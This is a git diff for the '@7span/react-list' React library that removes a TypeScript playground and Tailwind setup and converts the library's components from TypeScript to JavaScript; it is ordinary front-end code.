delete mode 100644 apps/playground-typescript/vite.config.ts delete mode 100644 apps/playground/postcss.config.js delete mode 100644 apps/playground/tailwind.config.js create mode 100644 packages/react-list/src/components/attributes.jsx delete mode 100644 packages/react-list/src/components/attributes.tsx rename packages/react-list/src/components/{empty.tsx => empty.jsx} (77%) rename packages/react-list/src/components/{error.tsx => error.jsx} (72%) rename packages/react-list/src/components/{go-to.tsx => go-to.jsx} (73%) create mode 100644 packages/react-list/src/components/initial-loader.jsx delete mode 100644 packages/react-list/src/components/initial-loader.tsx rename packages/react-list/src/components/{items.tsx => items.jsx} (64%) rename packages/react-list/src/components/{list.tsx => list.jsx} (81%) rename packages/react-list/src/components/{load-more.tsx => load-more.jsx} (71%) create mode 100644 packages/react-list/src/components/loader.jsx delete mode 100644 packages/react-list/src/components/loader.tsx rename packages/react-list/src/components/{pagination.tsx => pagination.jsx} (76%) rename packages/react-list/src/components/{per-page.tsx => per-page.jsx} (55%) rename packages/react-list/src/components/{refresh.tsx => refresh.jsx} (63%) create mode 100644 packages/react-list/src/components/search.jsx delete mode 100644 packages/react-list/src/components/search.tsx rename packages/react-list/src/components/{summary.tsx => summary.jsx} (72%) rename packages/react-list/src/components/{utils.ts => utils.js} (51%) create mode 100644 packages/react-list/src/context/list-provider.jsx delete mode 100644 packages/react-list/src/context/list-provider.tsx rename packages/react-list/src/{index.ts => index.js} (64%) delete mode 100644 packages/react-list/src/types/index.ts delete mode 100644 packages/react-list/src/types/list-provider.ts delete mode 100644 packages/react-list/src/types/react-list.ts rename packages/react-list/src/{utils.ts => utils.js} (100%) delete mode 100644 packages/react-list/tsconfig.build.json delete mode 100644 packages/react-list/tsconfig.json diff --git a/apps/playground-typescript/index.html b/apps/playground-typescript/index.html deleted file mode 100644 index fa41216..0000000 --- a/apps/playground-typescript/index.html +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - - Vite + React (TypeScript) - - -
- - - - diff --git a/apps/playground-typescript/package.json b/apps/playground-typescript/package.json deleted file mode 100644 index 3416511..0000000 --- a/apps/playground-typescript/package.json +++ /dev/null @@ -1,29 +0,0 @@ -{ - "name": "playground-typescript", - "private": true, - "version": "0.0.0", - "type": "module", - "scripts": { - "dev": "vite", - "build": "vite build", - "typecheck": "tsc -p tsconfig.json --noEmit", - "preview": "vite preview" - }, - "dependencies": { - "@7span/react-list": "workspace:*", - "@iconify/react": "^5.2.1", - "react": "^19.0.0", - "react-dom": "^19.0.0" - }, - "devDependencies": { - "@tailwindcss/postcss": "^4.2.2", - "@types/react": "^19.0.10", - "@types/react-dom": "^19.0.4", - "@vitejs/plugin-react": "^4.3.4", - "autoprefixer": "^10.4.27", - "postcss": "^8.5.8", - "tailwindcss": "^4.2.2", - "typescript": "^5.9.3", - "vite": "^6.3.1" - } -} diff --git a/apps/playground-typescript/postcss.config.mjs b/apps/playground-typescript/postcss.config.mjs deleted file mode 100644 index 51a6e4e..0000000 --- a/apps/playground-typescript/postcss.config.mjs +++ /dev/null @@ -1,6 +0,0 @@ -export default { - plugins: { - '@tailwindcss/postcss': {}, - autoprefixer: {}, - }, -}; diff --git a/apps/playground-typescript/src/App.tsx b/apps/playground-typescript/src/App.tsx deleted file mode 100644 index 92febc7..0000000 --- a/apps/playground-typescript/src/App.tsx +++ /dev/null @@ -1,6 +0,0 @@ -import ListWrapper from './components/list-wrapper'; - -export default function App() { - return ; -} - diff --git a/apps/playground-typescript/src/api/request-handler.ts b/apps/playground-typescript/src/api/request-handler.ts deleted file mode 100644 index e6b611a..0000000 --- a/apps/playground-typescript/src/api/request-handler.ts +++ /dev/null @@ -1,87 +0,0 @@ -import type { ReactListRequestArgs, ReactListResponse } from '@7span/react-list'; - -export type PlaygroundItem = { - id: number; - name: string; - status?: string; - date_updated?: string; - [key: string]: unknown; -}; - -type Filters = Record; - -const requestHandler = async ( - args: ReactListRequestArgs, -): Promise> => { - const { - endpoint, - page, - perPage, - search, - sortBy, - sortOrder, - filters, - meta, - } = args; - - const params = new URLSearchParams(); - - if (page && perPage) { - params.append('page', String(page)); - params.append('limit', String(perPage)); - } - - if (search) params.append('search', search); - - if (sortBy) { - params.append( - 'sort', - sortOrder === 'desc' ? `-${sortBy}` : sortBy, - ); - } - - if (filters && Object.keys(filters).length > 0) { - // Keep it simple for the playground. - for (const [key, value] of Object.entries(filters)) { - if (value === undefined || value === '') continue; - params.append(`filter[${key}][_eq]`, String(value)); - } - } - - // Example: meta support (not required by ReactList, just forwarded in args) - if (meta && typeof meta === 'object') { - // noop; you can add meta params here. - } - - const queryString = params.toString(); - const url = `https://everest.7span.in/items/${endpoint}${ - queryString ? `?${queryString}` : '' - }`; - - try { - const response = await fetch(url); - if (!response.ok) { - throw new Error(`API request failed: ${response.status}`); - } - const data: any = await response.json(); - - return { - items: (data.data ?? []) as PlaygroundItem[], - count: - data.meta?.total_count ?? - data.meta?.filter_count ?? - 0, - meta: data.meta ?? {}, - }; - } catch (error) { - return { - items: [], - count: 0, - meta: {}, - error: error instanceof Error ? error : undefined, - } as unknown as ReactListResponse; - } -}; - -export default requestHandler; - diff --git a/apps/playground-typescript/src/components/list-wrapper.tsx b/apps/playground-typescript/src/components/list-wrapper.tsx deleted file mode 100644 index 02e2641..0000000 --- a/apps/playground-typescript/src/components/list-wrapper.tsx +++ /dev/null @@ -1,298 +0,0 @@ -import { useMemo, useState } from "react"; - -import ReactList, { - ReactListEmpty, - ReactListError, - ReactListGoTo, - ReactListInitialLoader, - ReactListItems, - ReactListLoader, - ReactListPagination, - ReactListPerPage, - ReactListProvider, - ReactListSearch, - ReactListSummary, -} from "@7span/react-list"; - -import { Icon } from "@iconify/react"; - -import reactListOptions from "./react-list"; -import type { PlaygroundItem } from "../api/request-handler"; - -type Filters = Record; - -export default function ListWrapper() { - const [filters, setFilters] = useState({}); - const paginationMode = "pagination" as const; - - // Stable render-prop children for the search component. - const searchChildren = useMemo( - () => - ({ - search, - setSearch, - }: { - search: string; - setSearch: (value: string) => void; - }) => ( -
- setSearch(e.target.value)} - placeholder="Search skills..." - className="w-full rounded-md border border-gray-200 bg-white px-3 py-2 text-sm text-gray-900 shadow-sm outline-none focus:border-indigo-500 focus:ring-2 focus:ring-indigo-500" - /> -
- ), - [], - ); - - return ( -
-
- - -
-

- React List TypeScript Playground -

- -
- {searchChildren} - - -
-
- -
- -
-
-
- {[0, 1, 2, 3].map((i) => ( -
- ))} -
-
- - -
-
- -
-
- No data found -
-
-
- - - {({ error }: { error: Error }) => ( -
-
- -
-
{error.name}
-
{error.message}
-
-
-
- )} -
- - - {({ items }) => ( -
- {items.map((item, idx) => { - const row = item as PlaygroundItem; - - return ( -
-
-
- ID {row?.id} -
- -
- {row?.name} -
- -
- Updated:{" "} - {row?.date_updated - ? new Date( - row.date_updated, - ).toLocaleString() - : "-"} -
-
- -
- {row?.status ?? "-"} -
-
- ); - })} -
- )} -
-
- -
- - {({ isLoading }: { isLoading: boolean }) => - isLoading ? ( -
- Loading... -
- ) : null - } -
-
-
- -
-
- - {({ visibleCount, count }) => ( -
- {visibleCount} results - {typeof count === "number" ? ` (total ${count})` : ""} -
- )} -
- -
- - {({ perPage, setPerPage, options }) => ( - - )} - - - - {({ setPage, page, pagesCount }) => ( -
- setPage(Number(e.target.value))} - className="w-20 rounded-md border border-gray-200 bg-white px-3 py-2 text-sm shadow-sm outline-none focus:border-indigo-500 focus:ring-2 focus:ring-indigo-500" - /> - - of {pagesCount} - -
- )} -
- - - {({ - page, - pagesToDisplay, - hasPrev, - hasNext, - prev, - next, - first, - last, - setPage, - }) => ( -
- - - - -
- {pagesToDisplay.map((p) => ( - - ))} -
- - - - -
- )} -
-
-
-
-
- - -
-
- ); -} diff --git a/apps/playground-typescript/src/components/react-list.ts b/apps/playground-typescript/src/components/react-list.ts deleted file mode 100644 index ed965c9..0000000 --- a/apps/playground-typescript/src/components/react-list.ts +++ /dev/null @@ -1,75 +0,0 @@ -import type { - ReactListProviderConfig, - ReactListRequestArgs, - ReactListResponse, - ReactListStateManager, -} from "@7span/react-list"; - -import requestHandler from "../api/request-handler"; -import type { PlaygroundItem } from "../api/request-handler"; - -type Filters = Record; - -const stateManagerKey = (endpoint: string, version: number) => - `react-list--${endpoint}--${version}`; - -const stateManager: ReactListStateManager = { - init(context: any) { - const { endpoint, version } = context; - const allKeys = `react-list--${endpoint}--`; - const latestKey = stateManagerKey(endpoint, version); - - const staleKeys = Object.keys(localStorage).filter( - (key) => key.startsWith(allKeys) && key !== latestKey, - ); - staleKeys.forEach((key) => localStorage.removeItem(key)); - }, - set(context: any) { - const { - endpoint, - version, - search, - page, - perPage, - sortBy, - sortOrder, - filters, - attrSettings, - } = context; - - const key = stateManagerKey(endpoint, version); - localStorage.setItem( - key, - JSON.stringify({ - search, - page, - perPage, - sortBy, - sortOrder, - filters, - attrSettings, - }), - ); - }, - get(context: any) { - const { endpoint, version } = context; - const key = stateManagerKey(endpoint, version); - - try { - const raw = localStorage.getItem(key); - if (!raw) return null; - return JSON.parse(raw) as any; - } catch { - return null; - } - }, -}; - -const config: ReactListProviderConfig = { - requestHandler: requestHandler as unknown as ( - args: ReactListRequestArgs, - ) => Promise>, - stateManager, -}; - -export default config; diff --git a/apps/playground-typescript/src/index.css b/apps/playground-typescript/src/index.css deleted file mode 100644 index d1d9133..0000000 --- a/apps/playground-typescript/src/index.css +++ /dev/null @@ -1,2 +0,0 @@ -@import "tailwindcss"; -@source "../**/*.{js,jsx,ts,tsx}"; \ No newline at end of file diff --git a/apps/playground-typescript/src/main.tsx b/apps/playground-typescript/src/main.tsx deleted file mode 100644 index 0c5505f..0000000 --- a/apps/playground-typescript/src/main.tsx +++ /dev/null @@ -1,11 +0,0 @@ -import { StrictMode } from "react"; -import { createRoot } from "react-dom/client"; - -import App from "./App"; -import "./index.css"; - -createRoot(document.getElementById("root")!).render( - - - , -); diff --git a/apps/playground-typescript/tailwind.config.js b/apps/playground-typescript/tailwind.config.js deleted file mode 100644 index a117e69..0000000 --- a/apps/playground-typescript/tailwind.config.js +++ /dev/null @@ -1,8 +0,0 @@ -/** @type {import('tailwindcss').Config} */ -export default { - content: ["./index.html", "./src/**/*.{ts,tsx,jsx,js}"], - theme: { - extend: {}, - }, - plugins: [], -}; diff --git a/apps/playground-typescript/tsconfig.json b/apps/playground-typescript/tsconfig.json deleted file mode 100644 index e034b35..0000000 --- a/apps/playground-typescript/tsconfig.json +++ /dev/null @@ -1,16 +0,0 @@ -{ - "compilerOptions": { - "target": "ES2022", - "lib": ["ES2022", "DOM", "DOM.Iterable"], - "module": "ESNext", - "moduleResolution": "Bundler", - "jsx": "react-jsx", - "strict": true, - "skipLibCheck": true, - "noEmit": true, - "types": ["vite/client"], - "resolveJsonModule": true - }, - "include": ["src"] -} - diff --git a/apps/playground-typescript/vite.config.ts b/apps/playground-typescript/vite.config.ts deleted file mode 100644 index f0c8be1..0000000 --- a/apps/playground-typescript/vite.config.ts +++ /dev/null @@ -1,7 +0,0 @@ -import { defineConfig } from 'vite'; -import react from '@vitejs/plugin-react'; - -export default defineConfig({ - plugins: [react()], -}); - diff --git a/apps/playground/package.json b/apps/playground/package.json index 90148b5..c903db3 100644 --- a/apps/playground/package.json +++ b/apps/playground/package.json @@ -10,25 +10,21 @@ "preview": "vite preview" }, "dependencies": { - "@7span/react-list": "workspace:*", - "@iconify/react": "^5.2.1", "axios": "1.11.0", "react": "^19.0.0", - "react-dom": "^19.0.0" + "react-dom": "^19.0.0", + "@iconify/react": "^5.2.1", + "@7span/react-list": "workspace:*" }, "devDependencies": { "@eslint/js": "^9.22.0", - "@tailwindcss/postcss": "^4.2.2", "@types/react": "^19.0.10", "@types/react-dom": "^19.0.4", "@vitejs/plugin-react": "^4.3.4", - "autoprefixer": "^10.4.27", "eslint": "^9.22.0", "eslint-plugin-react-hooks": "^5.2.0", "eslint-plugin-react-refresh": "^0.4.19", "globals": "^16.0.0", - "postcss": "^8.5.8", - "tailwindcss": "^4.2.2", "vite": "^6.3.1" } } diff --git a/apps/playground/postcss.config.js b/apps/playground/postcss.config.js deleted file mode 100644 index 51a6e4e..0000000 --- a/apps/playground/postcss.config.js +++ /dev/null @@ -1,6 +0,0 @@ -export default { - plugins: { - '@tailwindcss/postcss': {}, - autoprefixer: {}, - }, -}; diff --git a/apps/playground/src/components/list-wrapper.jsx b/apps/playground/src/components/list-wrapper.jsx index c8600b0..a74d603 100644 --- a/apps/playground/src/components/list-wrapper.jsx +++ b/apps/playground/src/components/list-wrapper.jsx @@ -1,5 +1,3 @@ -import { useMemo, useState } from 'react'; - import ReactList, { ReactListEmpty, ReactListError, @@ -12,334 +10,416 @@ import ReactList, { ReactListProvider, ReactListSearch, ReactListSummary, -} from '@7span/react-list'; - -import { Icon } from '@iconify/react'; +} from "@7span/react-list"; -import reactListOptions from './react-list'; +import { Icon } from "@iconify/react"; +import { useState } from "react"; -const STATUS_OPTIONS = [ - { label: 'All Status', value: '' }, - { label: 'Draft', value: 'draft' }, - { label: 'Published', value: 'published' }, - { label: 'Archived', value: 'archived' }, -]; +import reactListOptions from "./react-list"; -const COLOR_OPTIONS = [ - { label: 'All Colors', value: '' }, - { label: 'Red', value: '#FF9900' }, - { label: 'Blue', value: '#FFEB0F' }, - { label: 'Green', value: '#F7DF1E' }, - { label: 'Yellow', value: '#5E24FF' }, -]; +import "../app.css"; -export default function ListWrapper() { +const ListWrapper = () => { const [filters, setFilters] = useState({}); - const paginationMode = 'pagination'; - - const searchChildren = useMemo( - () => - ({ search, setSearch }) => ( -
- setSearch(e.target.value)} - placeholder="Search skills..." - className="w-full rounded-md border border-gray-700 bg-gray-900 px-3 py-2 text-sm text-gray-100 shadow-sm outline-none focus:border-indigo-500 focus:ring-2 focus:ring-indigo-500/20" - /> -
- ), - [], - ); - return ( -
-
-
-

- React List Playground (Tailwind) -

- -
- - -
- {searchChildren} - +
+

React List Playground

+ + +
+
+ {/* */} + + {({ search, setSearch }) => ( +
+ { + setSearch(e.target.value); + }} + placeholder="Search skills..." + className="search-input" + /> +
+ )} +
+
+
+
+
+ +
+ +
+
+
+ - - +
+ +
- -
- -
-
-
- {[0, 1, 2, 3].map((i) => ( -
- ))} -
+
+
+
+
+ +
+
+
+
+
+
+
+
- - -
- -
-
- No data found -
+
+
+ {[...Array(5)].map((_, index) => ( +
+
+
+
+
- - - - {({ error }) => ( -
-
- -
-
{error.name}
-
{error.message}
-
-
-
- )} -
- - - {({ items }) => ( -
- {items.map((item, idx) => { - const row = item ?? {}; - return ( -
-
-
- ID {row.id} -
- -
- {row.name} -
+ ))} +
+
+
+ + +
+
+
+
+ +
+
-
- Updated:{' '} - {row.date_updated - ? new Date( - row.date_updated, - ).toLocaleString() - : '-'} -
-
+

No Data Found

-
- {row.status ?? '-'} -
-
- ); - })} -
- )} - +

+ We couldn't find any matching records. Try adjusting your + search or filters. +

+ +
+ + + {({ error }) => ( +
+
+ +
+

Something went wrong

+

+ {error.message || + "An unexpected error occurred while fetching data."} +

+
+

+ {error.name}: {error.message} +

+
+ +
+ )} +
+ + {({ items, sort, setSort }) => { + return ( +
- {({ isLoading }) => - isLoading ? ( -
- Loading... -
- ) : null - } +
+
+ +
+
-
- -
-
- - {({ visibleCount, count }) => ( -
- {visibleCount} results - {typeof count === 'number' - ? ` (total ${count})` - : ''} -
- )} -
+ + + + + + + + + + + {items.map((item) => ( + + + + + + + ))} + +
ID + Name{" "} + + Status + Update At{" "} + - + setSort({ + ...sort, + by: "date_updated", // Update the sortBy state t + order: sorting, + }); + }} + > + + +
{item.id}{item.name}{item.status} + {new Date(item.date_updated).toLocaleString()} +
+
+ ); + }} + + {/* Footer */} +
+
+
+ + {({ visibleCount }) => ( + + {visibleCount} Results + + )} + +
-
- {pagesToDisplay.map((p) => ( - - ))} -
+
+ Page Size: + + {({ perPage, setPerPage, options }) => ( +
+ +
+ +
+
+ )} +
+
- - -
- )} - +
+ + {({ setPage, page, pagesCount }) => ( +
+ Go to: + { + const page = Number(e.target.value); + setPage(page); + }} + className="page-input" + /> + of {pagesCount}
+ )} +
+
+
+ + + {({ + page, + pagesToDisplay, + hasNext, + hasPrev, + prev, + next, + first, + last, + setPage, + }) => ( +
+ + + + +
+ {pagesToDisplay.map((item, index) => { + const isActive = item === page; + + return ( + + ); + })}
+ + + +
-
- - + )} + +
-
-
+ +
); -} +}; +export default ListWrapper; diff --git a/apps/playground/src/index.css b/apps/playground/src/index.css index a50c033..08a3ac9 100644 --- a/apps/playground/src/index.css +++ b/apps/playground/src/index.css @@ -1,6 +1,3 @@ -@import "tailwindcss"; -@source "../**/*.{js,jsx,ts,tsx}"; - :root { font-family: system-ui, Avenir, Helvetica, Arial, sans-serif; line-height: 1.5; @@ -21,7 +18,6 @@ a { color: #646cff; text-decoration: inherit; } - a:hover { color: #535bf2; } @@ -50,11 +46,9 @@ button { cursor: pointer; transition: border-color 0.25s; } - button:hover { border-color: #646cff; } - button:focus, button:focus-visible { outline: 4px auto -webkit-focus-ring-color; @@ -65,12 +59,10 @@ button:focus-visible { color: #213547; background-color: #ffffff; } - a:hover { color: #747bff; } - button { background-color: #f9f9f9; } -} \ No newline at end of file +} diff --git a/apps/playground/tailwind.config.js b/apps/playground/tailwind.config.js deleted file mode 100644 index 524f96e..0000000 --- a/apps/playground/tailwind.config.js +++ /dev/null @@ -1,9 +0,0 @@ -/** @type {import('tailwindcss').Config} */ -export default { - content: ['./index.html', './src/**/*.{js,jsx,ts,tsx}'], - theme: { - extend: {}, - }, - plugins: [], -}; - diff --git a/packages/react-list/package.json b/packages/react-list/package.json index 6163710..7423430 100644 --- a/packages/react-list/package.json +++ b/packages/react-list/package.json @@ -5,22 +5,12 @@ "type": "module", "scripts": { "dev": "vite", - "build": "vite build && pnpm run build:types", - "build:types": "tsc -p tsconfig.build.json", + "build": "vite build", "lint": "eslint .", "preview": "vite preview", - "prepublishOnly": "pnpm run build" - }, - "main": "dist/react-list.cjs", - "module": "dist/react-list.js", - "types": "dist/types/index.d.ts", - "exports": { - ".": { - "types": "./dist/types/index.d.ts", - "import": "./dist/react-list.js", - "require": "./dist/react-list.cjs" - } + "prepublishOnly": "npm run build" }, + "main": "dist/react-list.js", "files": [ "dist" ], @@ -32,10 +22,7 @@ "react-dom": "^18.2.0 || ^19.0.0" }, "devDependencies": { - "@types/react": "^19.1.13", - "@types/react-dom": "^19.1.9", "@vitejs/plugin-react": "^4.3.4", - "typescript": "^5.9.3", "vite": "^6.3.1" } -} \ No newline at end of file +} diff --git a/packages/react-list/src/components/attributes.jsx b/packages/react-list/src/components/attributes.jsx new file mode 100644 index 0000000..b3fc189 --- /dev/null +++ b/packages/react-list/src/components/attributes.jsx @@ -0,0 +1,53 @@ +import { memo, useCallback, useMemo } from "react"; +import { useListContext } from "../context/list-provider"; + +export const ReactListAttributes = memo(({ children, renderAttribute }) => { + const { listState } = useListContext(); + const { attrs, attrSettings, updateAttr } = listState; + + const handleAttrChange = useCallback( + (attrName) => (e) => { + updateAttr(attrName, "visible", e.target.checked); + }, + [updateAttr] + ); + + const scope = useMemo( + () => ({ + attrs, + attrSettings, + updateAttr, + }), + [attrs, attrSettings, updateAttr] + ); + + if (children) { + return children(scope); + } + + return ( +
+ {attrs.map((attr, index) => { + if (renderAttribute) { + return renderAttribute({ + key: `attr-${index}`, + attr, + updateAttr, + attrSettings, + }); + } + + return ( + + ); + })} +
+ ); +}); diff --git a/packages/react-list/src/components/attributes.tsx b/packages/react-list/src/components/attributes.tsx deleted file mode 100644 index fa4e2d7..0000000 --- a/packages/react-list/src/components/attributes.tsx +++ /dev/null @@ -1,87 +0,0 @@ -import { memo, useCallback, useMemo } from "react"; -import { useListContext } from "../context/list-provider"; -import type { ReactListAttrSettings, ReactListAttribute } from "../types"; -import type { ChangeEvent, ReactNode } from "react"; - -type ReactListAttributesUpdateAttr = ( - attrName: string, - settingKey: string, - value: unknown, -) => void; - -type ReactListAttributesScope = { - attrs: ReactListAttribute[]; - attrSettings: ReactListAttrSettings; - updateAttr: ReactListAttributesUpdateAttr; -}; - -type ReactListAttributesRenderAttributeArgs = { - key: string; - attr: ReactListAttribute; - updateAttr: ReactListAttributesUpdateAttr; - attrSettings: ReactListAttrSettings; -}; - -type ReactListAttributesProps = { - children?: ReactNode | ((scope: ReactListAttributesScope) => ReactNode); - renderAttribute?: (args: ReactListAttributesRenderAttributeArgs) => ReactNode; -}; - -export const ReactListAttributes = memo( - ({ children, renderAttribute }: ReactListAttributesProps) => { - const { listState } = useListContext(); - const { attrs, attrSettings, updateAttr } = listState; - - const handleAttrChange = useCallback( - (attrName: string) => (e: ChangeEvent) => { - updateAttr(attrName, "visible", e.target.checked); - }, - [updateAttr], - ); - - const scope = useMemo( - () => ({ - attrs, - attrSettings, - updateAttr, - }), - [attrs, attrSettings, updateAttr], - ); - - if (typeof children === "function") { - return children(scope); - } - - if (children) return children; - - return ( -
- {attrs.map((attr, index) => { - if (renderAttribute) { - return ( - - {renderAttribute({ - key: `attr-${index}`, - attr, - updateAttr, - attrSettings, - })} - - ); - } - - return ( - - ); - })} -
- ); - }, -); diff --git a/packages/react-list/src/components/empty.tsx b/packages/react-list/src/components/empty.jsx similarity index 77% rename from packages/react-list/src/components/empty.tsx rename to packages/react-list/src/components/empty.jsx index c97be07..40dbeed 100644 --- a/packages/react-list/src/components/empty.tsx +++ b/packages/react-list/src/components/empty.jsx @@ -1,11 +1,7 @@ import { memo } from "react"; import { useListContext } from "../context/list-provider"; -type ReactListEmptyProps = { - children?: React.ReactNode; -}; - -export const ReactListEmpty = memo(({ children }: ReactListEmptyProps) => { +export const ReactListEmpty = memo(({ children }) => { const { listState } = useListContext(); const { data: items, loader, error } = listState; const { isLoading, initialLoading } = loader; diff --git a/packages/react-list/src/components/error.tsx b/packages/react-list/src/components/error.jsx similarity index 72% rename from packages/react-list/src/components/error.tsx rename to packages/react-list/src/components/error.jsx index 476b5d0..957ad19 100644 --- a/packages/react-list/src/components/error.tsx +++ b/packages/react-list/src/components/error.jsx @@ -1,14 +1,7 @@ import { memo } from "react"; -import type { ReactNode } from "react"; import { useListContext } from "../context/list-provider"; -type ReactListErrorProps = { - children?: - | ReactNode - | ((scope: { error: Error }) => ReactNode); -}; - -export const ReactListError = memo(({ children }: ReactListErrorProps) => { +export const ReactListError = memo(({ children }) => { const { listState } = useListContext(); const { error, loader } = listState; const { isLoading } = loader; diff --git a/packages/react-list/src/components/go-to.tsx b/packages/react-list/src/components/go-to.jsx similarity index 73% rename from packages/react-list/src/components/go-to.tsx rename to packages/react-list/src/components/go-to.jsx index a076d86..361162b 100644 --- a/packages/react-list/src/components/go-to.tsx +++ b/packages/react-list/src/components/go-to.jsx @@ -1,21 +1,7 @@ import { memo, useCallback, useMemo } from "react"; -import type { ReactNode } from "react"; import { useListContext } from "../context/list-provider"; -type ReactListGoToScope = { - setPage: (page: number, addContext?: Record) => void; - page: number; - pages: number[]; - pagesCount: number; -}; - -type ReactListGoToProps = { - children?: - | ReactNode - | ((scope: ReactListGoToScope) => ReactNode); -}; - -export const ReactListGoTo = memo(({ children }: ReactListGoToProps) => { +export const ReactListGoTo = memo(({ children }) => { const { listState } = useListContext(); const { data, count, pagination, setPage, loader, error } = listState; const { page, perPage } = pagination; @@ -56,10 +42,8 @@ export const ReactListGoTo = memo(({ children }: ReactListGoToProps) => { return (
- {typeof children === "function" ? ( + {children ? ( children(scope) - ) : children ? ( - children ) : ( handleChange(e.target.value)} + placeholder="Search..." + /> + )} +
+ ); +}); diff --git a/packages/react-list/src/components/search.tsx b/packages/react-list/src/components/search.tsx deleted file mode 100644 index 0eb7d1c..0000000 --- a/packages/react-list/src/components/search.tsx +++ /dev/null @@ -1,75 +0,0 @@ -import { memo, useEffect, useRef, useState } from "react"; -import type { ReactNode } from "react"; - -import { useListContext } from "../context/list-provider"; - -type ReactListSearchScope = { - search: string; - setSearch: (value: string) => void; -}; - -type ReactListSearchProps = { - debounceTime?: number; - children?: ReactNode | ((scope: ReactListSearchScope) => ReactNode); -}; - -export const ReactListSearch = memo( - ({ children, debounceTime = 500 }: ReactListSearchProps) => { - const { listState } = useListContext(); - const { search, setSearch } = listState; - - const [localSearch, setLocalSearch] = useState(search ?? ""); - const debounceTimerRef = useRef | null>(null); - - // Sync local state with context when the list search value changes. - useEffect(() => { - if (search !== localSearch) { - setLocalSearch(search ?? ""); - } - // eslint-disable-next-line react-hooks/exhaustive-deps - }, [search]); - - const handleChange = (value: string) => { - setLocalSearch(value); - - if (debounceTimerRef.current) { - clearTimeout(debounceTimerRef.current); - } - - debounceTimerRef.current = setTimeout(() => { - setSearch(value); - }, debounceTime); - }; - - useEffect(() => { - return () => { - if (debounceTimerRef.current) { - clearTimeout(debounceTimerRef.current); - } - }; - }, []); - - const scope: ReactListSearchScope = { - search: localSearch, - setSearch: handleChange, - }; - - return ( -
- {typeof children === "function" ? ( - children(scope) - ) : children ? ( - children - ) : ( - handleChange(e.target.value)} - placeholder="Search..." - /> - )} -
- ); - } -); - diff --git a/packages/react-list/src/components/summary.tsx b/packages/react-list/src/components/summary.jsx similarity index 72% rename from packages/react-list/src/components/summary.tsx rename to packages/react-list/src/components/summary.jsx index a360b0a..284da5c 100644 --- a/packages/react-list/src/components/summary.tsx +++ b/packages/react-list/src/components/summary.jsx @@ -1,21 +1,7 @@ import { memo, useMemo } from "react"; import { useListContext } from "../context/list-provider"; -import type { ReactNode } from "react"; - -type ReactListSummaryScope = { - from: number; - to: number; - visibleCount: number; - count: number; -}; - -type ReactListSummaryProps = { - children?: ReactNode | ((scope: ReactListSummaryScope) => ReactNode); -}; - -export const ReactListSummary = memo( - ({ children }: ReactListSummaryProps) => { +export const ReactListSummary = memo(({ children }) => { const { listState } = useListContext(); const { data, count, pagination, loader, error } = listState; const { page, perPage } = pagination; @@ -49,10 +35,8 @@ export const ReactListSummary = memo( return (
- {typeof children === "function" ? ( + {children ? ( children(scope) - ) : children ? ( - children ) : ( Showing {summaryData.visibleCount} items ( @@ -64,5 +48,4 @@ export const ReactListSummary = memo( )}
); - } -); +}); diff --git a/packages/react-list/src/components/utils.ts b/packages/react-list/src/components/utils.js similarity index 51% rename from packages/react-list/src/components/utils.ts rename to packages/react-list/src/components/utils.js index e9f4e33..f4a7279 100644 --- a/packages/react-list/src/components/utils.ts +++ b/packages/react-list/src/components/utils.js @@ -1,11 +1,10 @@ -export const deepEqual = (obj1: unknown, obj2: unknown): boolean => { +export const deepEqual = (obj1, obj2) => { if (obj1 === obj2) return true; if (obj1 == null || obj2 == null) return obj1 === obj2; - if (typeof obj1 !== "object" || typeof obj2 !== "object") { + if (typeof obj1 !== "object" || typeof obj2 !== "object") return obj1 === obj2; - } if (Array.isArray(obj1) && Array.isArray(obj2)) { if (obj1.length !== obj2.length) return false; @@ -17,28 +16,22 @@ export const deepEqual = (obj1: unknown, obj2: unknown): boolean => { if (Array.isArray(obj1) || Array.isArray(obj2)) return false; - const record1 = obj1 as Record; - const record2 = obj2 as Record; - - const keys1 = Object.keys(record1).filter((key) => record1[key] !== undefined); - const keys2 = Object.keys(record2).filter((key) => record2[key] !== undefined); + const keys1 = Object.keys(obj1).filter((key) => obj1[key] !== undefined); + const keys2 = Object.keys(obj2).filter((key) => obj2[key] !== undefined); if (keys1.length !== keys2.length) return false; - for (const key of keys1) { + for (let key of keys1) { if (!keys2.includes(key)) return false; - if (!deepEqual(record1[key], record2[key])) return false; + if (!deepEqual(obj1[key], obj2[key])) return false; } return true; }; -export const hasActiveFilters = ( - currentFilters: Record | null | undefined, - initialFilters: Record | null | undefined -): boolean => { +export const hasActiveFilters = (currentFilters, initialFilters) => { if (!initialFilters || Object.keys(initialFilters).length === 0) { - return !!currentFilters && Object.keys(currentFilters).length > 0; + return currentFilters && Object.keys(currentFilters).length > 0; } if (!currentFilters || Object.keys(currentFilters).length === 0) { diff --git a/packages/react-list/src/context/list-provider.jsx b/packages/react-list/src/context/list-provider.jsx new file mode 100644 index 0000000..bd4e21a --- /dev/null +++ b/packages/react-list/src/context/list-provider.jsx @@ -0,0 +1,55 @@ +import { createContext, useContext, useMemo, useState } from "react"; + +const ListContext = createContext(null); + +export const ReactListProvider = ({ children, config }) => { + const { requestHandler, stateManager = {} } = config; + const [listState, setListState] = useState({ + data: [], + response: null, + error: null, + count: 0, + selection: [], + pagination: { + page: 1, + perPage: 25, + }, + loader: { + isLoading: false, + initialLoading: true, + }, + sort: { + sortBy: null, + sortOrder: "desc", + }, + search: "", + filters: {}, + attrs: [], + isEmpty: true, + isInitializing: true, + }); + + if (!requestHandler) { + throw new Error("ListProvider: requestHandler is required."); + } + + const value = useMemo( + () => ({ + requestHandler, + stateManager, + listState, + setListState, + }), + [requestHandler, stateManager, listState] + ); + + return {children}; +}; + +export const useListContext = () => { + const context = useContext(ListContext); + if (!context) { + throw new Error("useListContext must be used within a ListProvider"); + } + return context; +}; diff --git a/packages/react-list/src/context/list-provider.tsx b/packages/react-list/src/context/list-provider.tsx deleted file mode 100644 index 0182397..0000000 --- a/packages/react-list/src/context/list-provider.tsx +++ /dev/null @@ -1,91 +0,0 @@ -import { createContext, useContext, useMemo, useState } from "react"; -import type { ReactNode } from "react"; - -import type { - ReactListContextValue, - ReactListFilters, - ReactListItem, - ReactListItemId, - ReactListListState, - ReactListProviderConfig, - ReactListResponse, - ReactListRequestHandler, - ReactListStateManager, -} from "../types"; - -const ListContext = createContext(null); - -type ReactListProviderProps = { - children: ReactNode; - config: ReactListProviderConfig; -}; - -const noop = () => {}; - -export const ReactListProvider = ({ children, config }: ReactListProviderProps) => { - const { requestHandler, stateManager = {} } = config; - - if (!requestHandler) { - throw new Error("ListProvider: requestHandler is required."); - } - - const [listState, setListState] = useState>({ - data: [], - response: null as 